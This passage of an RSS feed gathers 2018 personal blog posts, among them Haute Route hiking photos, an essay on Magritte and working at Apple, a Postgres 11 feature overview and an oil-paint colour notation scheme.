&lt;p&gt;&lt;img alt="" src="https://res.cloudinary.com/wildernessprime/image/upload/w_800,dpr_auto/v1551217934/IMG_4826.jpg" /&gt;&lt;/p&gt;</description><author>Wilderness Prime</author><pubDate>Tue, 25 Sep 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://www.wildernessprime.com/expeditions/summer-haute-route-2018/part-8-trient-champex/</guid></item><item><title>Networking Essentials: Naming, Addressing, and Forwarding</title><link>https://www.swyx.io/networking-essentials-naming-addressing-and-forwarding-13kk</link><description>&lt;p&gt;How IP Addressing evolved over time, how it works today, and how we can transition to IPv6 in future&lt;/p&gt;</description><author>swyx's site RSS Feed</author><pubDate>Sun, 23 Sep 2018 18:39:34 GMT</pubDate><guid isPermaLink="true">https://www.swyx.io/networking-essentials-naming-addressing-and-forwarding-13kk</guid></item><item><title>Spring in the backcountry</title><link>http://michaelhoney.com/writing/2018/9/23/spring-in-the-backcountry</link><description>&lt;img alt="IMG_1473.jpg" class="thumb-image" src="https://images.squarespace-cdn.com/content/v1/5244d189e4b0136e0a44003d/1537690302455-7HR1N2XQXCOLYB04TKIY/IMG_1473.jpg?format=1000w" /&gt;&lt;br /&gt;
            
          
        

        

        
      
        
          
            
              &lt;img alt="IMG_1457.jpg" class="thumb-image" src="https://images.squarespace-cdn.com/content/v1/5244d189e4b0136e0a44003d/1537690301838-6E1GD8UZJ82PUYHZMY3G/IMG_1457.jpg?format=1000w" /&gt;&lt;br /&gt;
            
          
        

        

        
      
        
          
            
              &lt;img alt="IMG_1475.jpg" class="thumb-image" src="https://images.squarespace-cdn.com/content/v1/5244d189e4b0136e0a44003d/1537690309455-0UKMASR52ZIGKCMXO0YU/IMG_1475.jpg?format=1000w" /&gt;&lt;br /&gt;
            
          
        

        

        
      
        
          
            
              &lt;img alt="IMG_1558.jpg" class="thumb-image" src="https://images.squarespace-cdn.com/content/v1/5244d189e4b0136e0a44003d/1537690318528-FYMX3N63KMQEGYEW4O2E/IMG_1558.jpg?format=1000w" /&gt;&lt;br /&gt;
            
          
        

        

        
      
        
          
            
              &lt;img alt="IMG_1476.jpg" class="thumb-image" src="https://images.squarespace-cdn.com/content/v1/5244d189e4b0136e0a44003d/1537690304860-H1ZHWOTIO8LYGC0T3SUB/IMG_1476.jpg?format=1000w" /&gt;&lt;br /&gt;</description><author>Michael Honey: Writing - michaelhoney.com</author><pubDate>Sun, 23 Sep 2018 11:13:11 GMT</pubDate><guid isPermaLink="true">http://michaelhoney.com/writing/2018/9/23/spring-in-the-backcountry</guid></item><item><title>Recover from Time Machine's "backup already in use"</title><link>https://xenodium.com/recover-from-time-machines-backup-already-in-use</link><description>&lt;p&gt;Started seeing &amp;quot;backup already in use&amp;quot; error from my daily Time Machine backups, against my Synology. Disabling and re-enabling AFP did the job (via Synology -&amp;gt; Control Panel -&amp;gt; Files Services -&amp;gt; Enable AFP service).&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://xenodium.github.io/images/recover-from-time-machines-backup-already-in-use/re-enable_afp_service.png" /&gt;&lt;/p&gt;</description><author>xenodium.com @alvaro</author><pubDate>Sun, 23 Sep 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/recover-from-time-machines-backup-already-in-use</guid></item><item><title>The Listening Room, or habits to unlearn</title><link>https://faingezicht.com/articles/2018/09/23/magritte/</link><description>I’m not sure how I found Magritte in the first place, but as a teenager, his _Son of Man_ became my avatar on every online platform where I spent afternoons and evenings during the mid-aughts. I pondered endlessly on his playful compositions, full of contradictions, false premises, and recursive repetitive themes. The motifs in Magritte’s art — paintings within paintings, windows confounding what was inside with what was outside, ambiguous and impossible light sources — invite us to question the automatic assumptions we make about what is in front of our eyes, the nature of reality, and what the objects we interact with on our daily lives actually represent. &lt;a href="https://www.renemagritte.org/the-treachery-of-images.jsp"&gt;Images are treacherous&lt;/a&gt;, etc, etc.

This weekend I had a chance to think about these things once again (with fresh eyes, and with a few more years of experiences behind me) at SFMOMA’s &lt;a href="https://www.sfmoma.org/press/release/magritte-fifth-season/"&gt;"_Magritte: The Fifth Season_."&lt;/a&gt; While I was familiar with many of the pieces presented in The Fifth Season, a pair of images I did not remember seeing before hit close to home. _The Listening Room_ (1952) and its remake bearing the same name, _The Listening Room_ (1958), were displayed in a room together with the better known &lt;a href="https://www.renemagritte.org/personal-values.jsp"&gt;_Personal Values_&lt;/a&gt;. In these three pieces, the viewer is presented with incongruously large everyday objects: a wine glass the size of an armoire, a comb larger than the bed it sits on, apples that take up whole rooms. These are surreal images, which evoke an eerie, frightening effect the longer you look at them. The artist asks us to question whether what we see is really there, and, perhaps most importantly, makes us wonder what’s not shown, what’s hiding behind these disproportionate objects.

Not to be too literal, but my brain quickly locked onto the engorged apples of _The Listening Room_ as representations of Apple and the growing effect my job there has had on who I am, how others see me, and how I see myself. You might have heard me say before that I landed at Apple by chance - that I was trying to go down the startup route, and instead ended up joining one of the largest corporations in the world. Opportunity showed itself, and it seemed too good to pass up. For better and for worse, the decision has defined me and will continue to do so whenever I decide it’s time for whatever comes next.

In organizational behavior theory, it is well understood that a company’s culture, enshrined in its processes, its jargon, and its incentive structures, is ultimately embodied in its people. In a recent &lt;a href="https://twitter.com/rabois/status/1039895400952475649"&gt;Twitter thread&lt;/a&gt; Keith Rabois argued that the cachet of a company’s founder being an ex-Googler has changed over time, and how people who land PM roles there &lt;a href="https://twitter.com/rabois/status/1040008048524193792"&gt;learn the wrong lessons&lt;/a&gt; for when they quit to start their own companies. The stemming conversations made me wonder about the lessons I’ve learned during my tenure at Apple, which, crazily, is reaching three and a half years now. In my case, by learning to navigate Apple's corporate life, I’ve picked up its habits and its way of approaching problems. I’ve even warmed up to &lt;a href="https://stratechery.com/2016/apples-organizational-crossroads/"&gt;its siloed functional structure&lt;/a&gt; and was surprised when I found its &lt;a href="https://medium.com/@mmamet/directly-responsible-individuals-f5009f465da4"&gt;DRI model&lt;/a&gt; is not shared in other organizations.

Expanding that circle to not just concepts I've incorporated from Apple, but to Silicon Valley's tech culture at large, I am continuously amazed by all the ways in which the &lt;a href="https://medium.com/message/everything-is-broken-81e5f33a24e1"&gt;technology we build is broken&lt;/a&gt;, an idea diametrically opposed to the techno-optimism that surrounds me. This thought takes an outsized amount of space in my head, and I come back to it often. I’m convinced that it’s only due to the miracle of emergent behavior that anything works, and that any company can build something that, at least temporarily, works. If engineers at Apple, Google, FB, etc, with all that supporting infrastructure, have so much trouble making things work, how are people who don’t have these tools at hand able to solve problems? Obviously this is hyperbolic, and there are uncountable ways in which being constrained, and in which not having said tools is an advantage, but the longer I spend at Apple, the more this feeling of learned helplessness takes over me. That makes me worry. I have habits to unlearn.

Seeing how the beast works from inside and absorbing the lessons of how it cracks its challenges continues to be fascinating. I’m sure some of the practices that led to its success have rubbed off on me and will come in handy in the future. However, I am afraid that, much like Magritte tricks us with _The Listening Room’s_ apples, I've tricked myself into thinking that these ideas (the Apple way of solving problems, my opposition to Silicon Valley's all-encompassing techno-optimism, etc) take up room in my identity and the stories I tell about myself.  My most direct environment has taken up the room that should be inhabited by other ideas - ideas that I'll need when I start building something of my own - so I'm trying to be more thoughtful about what ideas to keep, and what to discard. Unlearning things is hard, though.

_The Listening Room_ is not about the apple, but about the room it has overtaken. This post is not about what's next, but about the realization that if we’re not deliberate about what habits we pick up, and what ideas we celebrate, we end up giving inordinate amounts of attention to the wrong abstractions. Rooms become useless when overtaken by objects - any object. Here’s to unlearning things.</description><author>Avy Faingezicht</author><pubDate>Sun, 23 Sep 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/articles/2018/09/23/magritte/</guid></item><item><title>Lessons from launching on Product Hunt</title><link>https://ferrucc.io/posts/lessons-from-ph/</link><description>&lt;p&gt;Two months ago I hadn&amp;rsquo;t launched any solo project that got users.&lt;/p&gt;
&lt;p&gt;Until lately everything I had ever done was with someone else, usually with a compatible skillset.
The problem with this approach is that if someone on the team loses interest or is busy the project dies out.&lt;/p&gt;
&lt;p&gt;As this happened a couple of times I decided to take some time and work on projects by myself.&lt;/p&gt;
&lt;h2 id="the-products-i-launched"&gt;The products I launched&lt;/h2&gt;
&lt;h4 id="klippedin-httpsklippedin"&gt;Klipped.in (&lt;a href="https://klipped.in"&gt;https://klipped.in&lt;/a&gt;)&lt;/h4&gt;
&lt;p&gt;&lt;img alt="" src="https://ferrucc.io/klipped-in.png" /&gt;&lt;/p&gt;</description><author>ferrucc.io</author><pubDate>Sat, 22 Sep 2018 22:18:03 GMT</pubDate><guid isPermaLink="true">https://ferrucc.io/posts/lessons-from-ph/</guid></item><item><title>Illegal streams, decrypting m3u8's, and building a better stream experience</title><link>https://blog.jonlu.ca/posts/illegal-streams</link><description/><author>JonLuca's Blog</author><pubDate>Sat, 22 Sep 2018 18:14:32 GMT</pubDate><guid isPermaLink="true">https://blog.jonlu.ca/posts/illegal-streams</guid></item><item><title>A first stab at gene expression</title><link>https://liza.io/a-first-stab-at-gene-expression/</link><description>&lt;p&gt;In the &lt;a href="https://liza.io/brainstorming-the-snaillife-gene-system/"&gt;last post&lt;/a&gt; I talked a bit about how I might approach expressing genes in SnailLife Go, and how this worked in the PHP prototype of the simulation.&lt;/p&gt;</description><author>Liza Shulyayeva</author><pubDate>Sat, 22 Sep 2018 17:00:47 GMT</pubDate><guid isPermaLink="true">https://liza.io/a-first-stab-at-gene-expression/</guid></item><item><title>How to reference hidden elements in Vue.js 2</title><link>https://stribny.name/posts/how-to-reference-hidden-elements-in-vue-js/</link><author>Posts by Petr Stribny</author><pubDate>Sat, 22 Sep 2018 16:58:25 GMT</pubDate><guid isPermaLink="true">https://stribny.name/posts/how-to-reference-hidden-elements-in-vue-js/</guid></item><item><title>Moon Jar</title><link>https://mattkeeter.com/projects/moon</link><description>A glowing, charming gift</description><author>Matt Keeter</author><pubDate>Sat, 22 Sep 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://mattkeeter.com/projects/moon</guid></item><item><title>Summer Haute Route - Part 7: Les Houches, Chamonix</title><link>https://www.wildernessprime.com/expeditions/summer-haute-route-2018/part-7-les-houches-chamonix/</link><description>&lt;h1&gt;We continue through Les Houches, Chamonix and on to Argentiere.&lt;/h1&gt;&lt;p&gt;We can see Les Houches and Chamonix in the distance for the long descent from the mountains. We had to make up a day so we bypassed the normal hiking trail along the Petit Balcon Sud, and walked through the centre of Chamonix. I've lived here for four winters but this was my first time visiting in the  summer.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://res.cloudinary.com/wildernessprime/image/upload/w_800,dpr_auto/v1551208438/IMG_4768.jpg" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://res.cloudinary.com/wildernessprime/image/upload/w_800,dpr_auto/v1551208511/IMG_4784%20%281%29.jpg" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://res.cloudinary.com/wildernessprime/image/upload/w_800,dpr_auto/v1551208598/IMG_4805.jpg" /&gt;&lt;/p&gt;</description><author>Wilderness Prime</author><pubDate>Sat, 22 Sep 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://www.wildernessprime.com/expeditions/summer-haute-route-2018/part-7-les-houches-chamonix/</guid></item><item><title>Firefox imgur failure</title><link>https://porkrind.org/missives/firefox-imgur-failure/</link><description>My imgur had been acting up for a while now. In my Firefox it wouldn&amp;#8217;t render the actual image but rendered most of the rest of the page just fine: If I went to i.imgur.com (adding the .png or .jpg to the url) then the image loaded just fine. So it wasn&amp;#8217;t getting blocked by &amp;#8230; &lt;a class="more-link" href="https://porkrind.org/missives/firefox-imgur-failure/"&gt;Continue reading &lt;span class="screen-reader-text"&gt;Firefox imgur failure&lt;/span&gt;&lt;/a&gt;</description><author>Missives</author><pubDate>Fri, 21 Sep 2018 22:20:20 GMT</pubDate><guid isPermaLink="true">https://porkrind.org/missives/firefox-imgur-failure/</guid></item><item><title>Laptop Stand</title><link>https://june.kim/laptop-stand/</link><author>june.kim</author><pubDate>Fri, 21 Sep 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://june.kim/laptop-stand/</guid></item><item><title>Summer Haute Route - Part 6: Refuge Des Mottets, Les Contamines</title><link>https://www.wildernessprime.com/expeditions/summer-haute-route-2018/part-6-mottets-contamines/</link><description>&lt;h1&gt;Over the Col de la Seigne and into France towards Les Contamines.&lt;/h1&gt;&lt;p&gt;The valley to the west of Courmayeur gets plusher and wetter the further we go. Lush green marsh land and cattle grazing.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://res.cloudinary.com/wildernessprime/image/upload/w_800,dpr_auto/v1551035074/IMG_4720.jpg" /&gt;&lt;/p&gt;
&lt;p&gt;We leave the bog behind and head up the mountain to the Col de la Seigne, and to the France border.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://res.cloudinary.com/wildernessprime/image/upload/w_800,dpr_auto/v1551035271/IMG_4729.jpg" /&gt;&lt;/p&gt;
&lt;p&gt;It's a long and steep descent to the stoutly constructed Refuge de la Mottets. One of the more comfortable mountain huts we've visited.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://res.cloudinary.com/wildernessprime/image/upload/w_800,dpr_auto/v1551035465/IMG_4738.jpg" /&gt;&lt;/p&gt;
&lt;p&gt;The next day we're hiking into easier terrain, and we soon reach the village of Les Contamines-Montjoie.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://res.cloudinary.com/wildernessprime/image/upload/w_800,dpr_auto/v1551035565/IMG_4732%20%281%29.jpg" /&gt;&lt;/p&gt;</description><author>Wilderness Prime</author><pubDate>Fri, 21 Sep 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://www.wildernessprime.com/expeditions/summer-haute-route-2018/part-6-mottets-contamines/</guid></item><item><title>Postgres 11 - A First Look</title><link>/2018/09/20/postgresql-11-a-first-look/</link><description>&lt;p&gt;Postgres 11 is almost here, in fact the latest beta shipped today, and it features a lot of exciting improvements. If you want to get the full list of features it is definitely worth checking out the &lt;a href="https://www.postgresql.org/docs/11/static/release-11.html"&gt;release notes&lt;/a&gt;, but for those who don&amp;rsquo;t read the release notes I put together a run down of some what I consider the highlight features.&lt;/p&gt;
&lt;h2 id="quitting-postgres"&gt;
&lt;div&gt;
Quitting Postgres
&lt;/div&gt;
&lt;/h2&gt;
&lt;p&gt;This is a small usability feature, but so long over due. Now you can quit Postgres by simply typing &lt;code&gt;quit&lt;/code&gt; or &lt;code&gt;exit&lt;/code&gt;. Previously you had to use Ctrl + D or &lt;code&gt;\q&lt;/code&gt;. As a begginer it&amp;rsquo;s one thing to jump into a psql terminal, but once in if you can&amp;rsquo;t figure out how to quit it&amp;rsquo;s a frustrating experience. Small usability features, such as this and &lt;code&gt;watch&lt;/code&gt; in an earlier release, are often lost in the highlighted features which talk about performance or new data types. Improvements like this really go a long way for making Postgres a better database for everyone.&lt;/p&gt;
&lt;h2 id="fear-column-addition-no-more"&gt;
&lt;div&gt;
Fear column addition no more
&lt;/div&gt;
&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://brandur.org/postgres-default"&gt;Brandur&lt;/a&gt; had a great in depth write-up on this feature already, but it falls somewhere into the category of the above as well as a performance improvement. Previously when you added a new column that was &lt;code&gt;NOT NULL&lt;/code&gt; with a default value Postgres would have to take a lock and re-write the entire table. In a production environment on any sizable table for all practical purposes the result was an outage. The work around was to break your migrations apart to be a several &lt;a href="https://blog.codeship.com/rails-migrations-zero-downtime/"&gt;step process&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;With Postgres 11 you can add a new column to a table that is not null with a default value. The new row will get materialized on your database without requiring a full re-write. Here is to having to think less about your migrations.&lt;/p&gt;
&lt;h2 id="of-course-performance-is-a-highlight"&gt;
&lt;div&gt;
Of course performance is a highlight
&lt;/div&gt;
&lt;/h2&gt;
&lt;p&gt;No Postgres release would be complete without some performance improvements. This release there are really two areas that feature key improvements around performance.&lt;/p&gt;
&lt;h3 id="parallelism-continuing-to-mature"&gt;
&lt;div&gt;
Parallelism continuing to mature
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;We first saw parallelism support back in PostgreSQL 9.6. At the time it was primarily for sequential scans, which if you used parallelism for your sequential scans was great, but overall that was a narrow focus. PostgreSQL 10 parallelism because much more useful, and with PostgreSQL 11 it just keeps getting better. Some of the highlights for parallelism include:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Parallel hash joins&lt;/li&gt;
&lt;li&gt;Parallel append&lt;/li&gt;
&lt;li&gt;Parallel index creation - &lt;em&gt;We&amp;rsquo;ve talked about how great this can be over on the &lt;a href="https://www.citusdata.com/blog/2017/01/17/parallel-indexing-with-citus/"&gt;Citus blog&lt;/a&gt;. With it natively in Postgres it makes it even easier for people to leverage.&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you want to dig deeper into all the parallelism support in Postgres &lt;a href="https://speakerdeck.com/macdice/parallelism-in-postgresql-11"&gt;this presentation&lt;/a&gt; by PostgreSQL committer Thomas Munro at &lt;a href="https://2018.postgresopen.org/"&gt;PostgresOpen Silicon Valley&lt;/a&gt; from a few weeks ago is a great resource.&lt;/p&gt;
&lt;h3 id="postgres-gets-a-jit"&gt;
&lt;div&gt;
Postgres gets a JIT
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;Just in time compilation is going to be a big deal for Postgres for the coming years. We have the initial support for it now in PostgreSQL 11. Even in this initial implementation of JIT support you can see a nearly 30% speedup on certain queries, such as highlighted here by the &lt;a href="https://www.citusdata.com/blog/2018/09/11/postgresql-11-just-in-time/"&gt;TPC-H benchmark&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;It is still early days for the just in time query compilation support, so expect the improvements here to be even better in PostgreSQL 12 and 13.&lt;/p&gt;
&lt;h2 id="statistics-keep-getting-better"&gt;
&lt;div&gt;
Statistics keep getting better
&lt;/div&gt;
&lt;/h2&gt;
&lt;p&gt;In Postgres 10 we saw a feature that few have probably used &lt;a href="https://www.citusdata.com/blog/2018/03/06/postgres-planner-and-its-usage-of-statistics/"&gt;&lt;code&gt;CREATE STATISTICS&lt;/code&gt;&lt;/a&gt;. You see under the covers Postgres keeps a lot of information about your database which it uses to determine the query plan it will use when executing a query. Most statistics were single column ones previously, now with &lt;code&gt;CREATE STATISTICS&lt;/code&gt; you could define a correlation between two separate columns. With Postgres 11 now you can create statistics based on expression indexes giving you even more cases where they can help the performance of your app.&lt;/p&gt;
&lt;h2 id="keeping-standbys-warm"&gt;
&lt;div&gt;
Keeping standbys warm
&lt;/div&gt;
&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;pg_prewarm&lt;/code&gt; has been great for warming up a replica&amp;rsquo;s cache so that should you have a failover you&amp;rsquo;re not failing over to a cold cache. However up until PostgreSQL 11 you&amp;rsquo;d have to manually run it yourself or setup some scheduler such as &lt;a href="https://www.citusdata.com/blog/2016/09/09/pgcron-run-periodic-jobs-in-postgres/"&gt;pg_cron&lt;/a&gt;, now you can configure &lt;code&gt;pg_prewarm&lt;/code&gt; to run all on it&amp;rsquo;s own at a regular interval.&lt;/p&gt;
&lt;h2 id="and-more"&gt;
&lt;div&gt;
And more
&lt;/div&gt;
&lt;/h2&gt;
&lt;p&gt;PostgreSQL 11 is packed with more features than I&amp;rsquo;ve seen in a release before, though I think I&amp;rsquo;ve also said that before. It will be exciting to see several of these features such as the JIT support, statistics, and others as it is still in the early days for them. Meanwhile we have a great set of new features to improve user experience as well as help performance with parallelism. If you&amp;rsquo;re curious to get your hands on these give the &lt;a href="https://www.postgresql.org/about/news/1890/"&gt;beta&lt;/a&gt; a try and send your feedback to the PostgreSQL community.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;If you&amp;rsquo;re looking for a deeper resource on Postgres I recommend the book &lt;a href="https://theartofpostgresql.com/?affiliate=cek"&gt;The Art of PostgreSQL&lt;/a&gt;. It is by a personal friend that has aimed to create the definitive guide to Postgres, from a developer perspective. If you use code CRAIG15 you&amp;rsquo;ll receive 15% off as well.&lt;/em&gt;&lt;/p&gt;</description><author>CRAIG KERSTIENS</author><pubDate>Thu, 20 Sep 2018 23:55:56 GMT</pubDate><guid isPermaLink="true">/2018/09/20/postgresql-11-a-first-look/</guid></item><item><title>Ten ways to improve any engineering class [Video]</title><link>https://www.youtube.com/watch?v=eccwhuC6Jcw</link><description>Ten easily-applied ideas taken from the literature on teaching in engineering. Presentation won second place in the Reg Friesen competition at the 68th Canadian Chemical Engineering Conference.</description><author>David Schlachter</author><pubDate>Thu, 20 Sep 2018 20:00:00 GMT</pubDate><guid isPermaLink="true">https://www.youtube.com/watch?v=eccwhuC6Jcw</guid></item><item><title>The embarrassing absurdity of Article 11, explained</title><link>https://stop.zona-m.net/2018/09/the-embarrassing-absurdity-of-article-11-explained/</link><description>&lt;p&gt;Article 11 of the recently approved EU Copyright Directive is going to be fun. Eventually.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Wed, 19 Sep 2018 09:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/09/the-embarrassing-absurdity-of-article-11-explained/</guid></item><item><title>Color Notations</title><link>https://johnj.com/posts/color-codes/</link><description>&lt;p&gt;
I have been experimenting with notations for color mixtures, so I can
make notes about colors on the go without actually carrying a whole
set of oil paints everywhere.&lt;/p&gt;
&lt;p&gt;
Here's an example from a very quick sketch during tonight's commute home:





&lt;a href="https://johnj.com/IMG_20180919_0001.jpg"&gt;&lt;img class="resize" src="https://johnj.com/IMG_20180919_0001_hu_215e041969ee6282.jpg" style="width: 700px; border: 0px solid black;" /&gt;&lt;/a&gt;

&lt;/p&gt;
&lt;p&gt;
Though it may &lt;em&gt;look&lt;/em&gt; black and white, there are a dozen colors
captured in this quick sketch.  In this post, I briefly describe the
notation.&lt;/p&gt;
&lt;p&gt;
The letters are based on my oil painting palette of late: usually,&lt;/p&gt;
&lt;table&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;name&lt;/td&gt;
&lt;td&gt;provider&lt;/td&gt;
&lt;td&gt;pigment number&lt;/td&gt;
&lt;td&gt;code&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;cremnitz white&lt;/td&gt;
&lt;td&gt;RGH&lt;/td&gt;
&lt;td&gt;PW 1&lt;/td&gt;
&lt;td&gt;w&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;nickel (titanium) yellow&lt;/td&gt;
&lt;td&gt;Williamsburg&lt;/td&gt;
&lt;td&gt;PY 53&lt;/td&gt;
&lt;td&gt;n&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;winsor (primary) yellow&lt;/td&gt;
&lt;td&gt;Holbein&lt;/td&gt;
&lt;td&gt;PY 74&lt;/td&gt;
&lt;td&gt;y&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;raw sienna&lt;/td&gt;
&lt;td&gt;Gamblin&lt;/td&gt;
&lt;td&gt;PBr 7&lt;/td&gt;
&lt;td&gt;s&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;transparent earth yellow&lt;/td&gt;
&lt;td&gt;Gamblin&lt;/td&gt;
&lt;td&gt;PY 42&lt;/td&gt;
&lt;td&gt;t&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;venetian red&lt;/td&gt;
&lt;td&gt;Gamblin&lt;/td&gt;
&lt;td&gt;PR 101&lt;/td&gt;
&lt;td&gt;v&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;cadmium red light&lt;/td&gt;
&lt;td&gt;Gamblin&lt;/td&gt;
&lt;td&gt;PR 108&lt;/td&gt;
&lt;td&gt;c&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;pyrrole red&lt;/td&gt;
&lt;td&gt;Holbein&lt;/td&gt;
&lt;td&gt;PR 254&lt;/td&gt;
&lt;td&gt;p&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;brown pink&lt;/td&gt;
&lt;td&gt;Williamsburg&lt;/td&gt;
&lt;td&gt;PR 101&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;spanish earth&lt;/td&gt;
&lt;td&gt;Williamsburg&lt;/td&gt;
&lt;td&gt;PR 102&lt;/td&gt;
&lt;td&gt;a&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;quinacradone violet&lt;/td&gt;
&lt;td&gt;Gamblin&lt;/td&gt;
&lt;td&gt;PV 19&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;dioxazine purple&lt;/td&gt;
&lt;td&gt;Gamblin&lt;/td&gt;
&lt;td&gt;PV 23&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;cobalt blue&lt;/td&gt;
&lt;td&gt;Gamblin&lt;/td&gt;
&lt;td&gt;PB 28&lt;/td&gt;
&lt;td&gt;o&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;(real) manganese blue&lt;/td&gt;
&lt;td&gt;Vasari&lt;/td&gt;
&lt;td&gt;PB 33&lt;/td&gt;
&lt;td&gt;m&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;prussian blue&lt;/td&gt;
&lt;td&gt;Gamblin&lt;/td&gt;
&lt;td&gt;PB 27&lt;/td&gt;
&lt;td&gt;r&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ivory black&lt;/td&gt;
&lt;td&gt;Williamsburg&lt;/td&gt;
&lt;td&gt;PBk 9&lt;/td&gt;
&lt;td&gt;b&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;viridian&lt;/td&gt;
&lt;td&gt;Gamblin&lt;/td&gt;
&lt;td&gt;PG 18&lt;/td&gt;
&lt;td&gt;i&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;terre verte&lt;/td&gt;
&lt;td&gt;Gamblin&lt;/td&gt;
&lt;td&gt;PY 43, PG 18, PBk 9&lt;/td&gt;
&lt;td&gt;e&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;raw umber&lt;/td&gt;
&lt;td&gt;Williamsburg&lt;/td&gt;
&lt;td&gt;PBr 7&lt;/td&gt;
&lt;td&gt;u&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;
Since there are fewer than two dozen colors, a single letter can be
assigned to each pigment (the rightmost column shows my assignations as
of this morning).  I'd like to whittle the number of colors down even
further, but I'm hooked on the various properties of each of these.
Almost all of them are pure pigments… the only mixture is terre
verte, which I love for its transparency, mass tone and utility in
mixing cool midtones.&lt;/p&gt;
&lt;p&gt;
Occasionally I'll throw in another pigment for special occasions, or
start out with just a few for underpaintings, but usually I lay most
of these out for any given painting session.&lt;/p&gt;
&lt;p&gt;
The notation, then, is very similar to that used for writing chemical
compositions, which you might remember from high school chemistry:
$\mathrm{H_2O}$ is water, and $\mathrm{C_{18}H_{32}O_2}$
is linoleic acid, one of the components of linseed oil.&lt;/p&gt;
&lt;p&gt;
For paint mixtures, we apply a similar rule: one letter per "element"
(paint color/pigment), with an optional numerical suffix to indicate a
correspondingly higher proportion (for simplicity we eliminate the
subscripting of the numbers).&lt;/p&gt;
&lt;p&gt;
For example, king's blue, which is typically white plus cobalt blue,
is, in my system,&lt;/p&gt;
&lt;p&gt;
&lt;strong&gt;w2o&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;
… i.e., roughly two parts Cremnitz (lead) white per part of cobalt
blue.&lt;/p&gt;
&lt;p&gt;
Not every color I might use is assigned a letter.  In this case, just
write the pigment code in parentheses.  For example, for an exact
match for commercial king's blue, I would use titanium white (PW-6)
instead of the more transparent lead white; in this case, king's blue is&lt;/p&gt;
&lt;p&gt;
&lt;strong&gt;(PW6)2o&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;
Now let's talk through the sketch at the top, location by
location. The head is mostly backlit (&lt;em&gt;contre-jour&lt;/em&gt;) with light from
the window and some interior light inside the train.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Hair on top of head, &lt;strong&gt;b4uw&lt;/strong&gt;: four parts black, plus raw
umber and white.&lt;/li&gt;
&lt;li&gt;Fairly flat area of color on forehead, &lt;strong&gt;eta&lt;/strong&gt;: terre verte
plus transparent earth yellow plus Spanish earth.&lt;/li&gt;
&lt;li&gt;Left upper highlight, &lt;strong&gt;w4(PV19)&lt;/strong&gt; - mostly white with a bit of
quinacradone violet.&lt;/li&gt;
&lt;li&gt;Forward/top plane of nose, &lt;strong&gt;w(PV19)s&lt;/strong&gt;: white, quinacradone violet,
raw sienna.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For the ear, we use a variant of the notation which has light, mid
tone, and dark values, stacked (in parentheses):&lt;/p&gt;
&lt;table&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;vw&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;pn&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;w(PV19)&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;
… which means,&lt;/p&gt;
